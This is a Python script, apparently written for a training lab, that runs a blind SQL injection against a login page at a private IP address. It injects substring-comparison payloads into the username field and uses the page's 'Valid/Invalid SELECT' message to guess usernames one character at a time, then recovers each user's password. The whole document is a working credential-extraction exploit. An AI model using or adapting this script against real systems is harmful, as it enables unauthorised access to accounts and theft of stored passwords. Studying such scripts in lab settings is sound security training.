#!/usr/bin/python3
import requests
from string import ascii_lowercase, ascii_letters
from string import digits
from bs4 import BeautifulSoup
MAX_FIELD_LENGTH = 24

"""
length = 5
params = {'userName': "' or length(userName)>" + str(length) + " -- '" , 'password': ''}
print(" the answer is:", get_answer(params))
"""

def buildUsernameArray(startingChars):
    valids = []
    perm = False
    for iterChar in ascii_lowercase+digits:
        params = {'userName': "' or substring(userName,1,{})=\"{}\" -- '".format(len(startingChars+iterChar),startingChars+iterChar),
                  'password':''}
        r = requests.post('http://192.168.203.205/blind/login-clues.php', data=params)
        if isRequestValid(BeautifulSoup(r.text)):
            valids.append(startingChars+iterChar)
            print("'{}' is valid".format(startingChars+iterChar))
    if valids == [] and startingChars != "":
        perm = True
    return valids, perm

def buildPasswordArray(startingChars, username):
    valids = []
    perm = False
    for iterChar in ascii_lowercase+digits:
        params = {'userName':"' or (userName = \"{}\" and substring(password,1,{}) = \"{}\") -- '".format(username, len(startingChars+iterChar),
            startingChars+iterChar),'password':''}
        r = requests.post('http://192.168.203.205/blind/login-clues.php', data=params)
        if isRequestValid(BeautifulSoup(r.text)):
            valids.append(startingChars+iterChar)
            print("'{}' is valid".format(startingChars+iterChar))
    if valids == [] and startingChars != "":
        perm = True
    return valids, perm

def buildPasswordArrayWrapper(username):
    counter = 1
    oldValids, toss = buildPasswordArray("", username)
    password = ""
    while counter < 100:
        newValids = []
        for elt in oldValids:
            newResults, permanent = buildPasswordArray(elt, username)
            newValids.extend(newResults)
            if permanent:
                return elt
            counter += 1
            oldValids = newValids
    return password


def isRequestValid(bsObj):
    if "Valid SELECT" in bsObj.find('div', {'class':'message'}).text:
        return True
    elif "Invalid SELECT" in bsObj.find('div', {'class':'message'}).text:
        return False
    else:
        print("Neither valid nor invalid found, instead found")
        print(bsObj.find('div', {'class':'message'}).text)
        return None

def main():
    MAX_COUNT = 6
    oldValids, toss = buildUsernameArray("")
    counter = 1
    usernames = []
    while counter <= MAX_COUNT:
        newValids = []
        for elt in oldValids:
            newResults, permanent = buildUsernameArray(elt)
            newValids.extend(newResults)
            if permanent:
                usernames.append(elt)
        if newValids == []:
            oldValids = newValids
            break
        counter += 1
        oldValids = newValids
    print("USERNAMES: " + str(usernames))
    for username in usernames:
        print("User {} has password {}".format(username, buildPasswordArrayWrapper(username)))
main()
